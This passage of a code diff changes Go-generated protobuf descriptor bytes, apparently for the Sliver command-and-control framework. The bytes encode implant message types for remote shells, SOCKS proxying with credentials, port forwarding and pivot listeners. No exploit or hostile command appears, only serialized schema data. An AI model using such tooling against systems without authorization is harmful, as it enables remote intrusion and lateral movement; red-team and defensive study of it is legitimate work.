0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, + 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x9b, 0x01, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x50, 0x61, 0x74, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, 0x54, + 0x59, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x50, + 0x54, 0x59, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x03, 0x50, 0x69, 0x64, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, - 0x65, 0x6c, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x22, 0xde, 0x01, 0x0a, 0x09, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, - 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x43, 0x6f, 0x6e, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x43, 0x6f, - 0x6e, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x65, - 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x53, 0x65, - 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, - 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, - 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0xa9, 0x01, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, - 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x27, 0x0a, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x69, 0x6e, - 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x08, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x53, 0x0a, 0x14, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9d, 0x01, 0x0a, 0x0a, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, + 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x6f, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, + 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, + 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0xca, 0x01, 0x0a, 0x0d, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x27, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x9d, 0x01, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, + 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x45, 0x0a, 0x05, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x1e, 0x0a, + 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, + 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0xde, 0x01, 0x0a, 0x09, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x1c, 0x0a, + 0x09, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x43, 0x6f, 0x6e, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x43, 0x6f, 0x6e, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x53, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, + 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa9, 0x01, 0x0a, + 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x27, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x03, + 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, - 0x73, 0x12, 0x2e, 0x0a, 0x06, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, - 0x43, 0x6f, 0x6e, 0x6e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x06, 0x50, 0x69, 0x76, 0x6f, 0x74, - 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x96, 0x01, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x48, 0x65, 0x6c, 0x6c, 0x6f, - 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x09, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x1a, - 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, - 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x50, 0x75, - 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, - 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x22, 0x54, 0x0a, 0x16, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x49, 0x44, - 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0a, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x4b, 0x65, 0x79, - 0x22, 0x3b, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x12, 0x1a, 0x0a, - 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, - 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb4, 0x01, - 0x0a, 0x11, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x45, 0x6e, 0x76, 0x65, 0x6c, - 0x6f, 0x70, 0x65, 0x12, 0x29, 0x0a, 0x05, 0x50, 0x65, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x52, 0x05, 0x50, 0x65, 0x65, 0x72, 0x73, 0x12, 0x12, - 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x24, - 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x41, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, - 0x72, 0x65, 0x41, 0x74, 0x22, 0x21, 0x0a, 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x50, 0x69, 0x6e, - 0x67, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x22, 0x50, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x43, 0x6f, - 0x6e, 0x6e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, 0x1a, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, - 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, - 0x72, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, - 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, - 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x22, 0x6f, 0x0a, 0x10, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x12, 0x1a, 0x0a, - 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x42, 0x02, 0x30, - 0x01, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x12, 0x2d, 0x0a, 0x04, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x50, 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, - 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x40, 0x0a, 0x11, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, - 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x77, 0x0a, 0x0e, - 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x35, - 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x09, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x08, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x53, 0x0a, 0x14, 0x50, 0x69, 0x76, 0x6f, + 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xca, 0x01, + 0x0a, 0x0d, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x27, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x13, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, + 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, + 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2e, 0x0a, 0x06, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x43, 0x6f, 0x6e, 0x6e, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x52, 0x06, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x01, 0x0a, 0x0a, 0x50, + 0x69, 0x76, 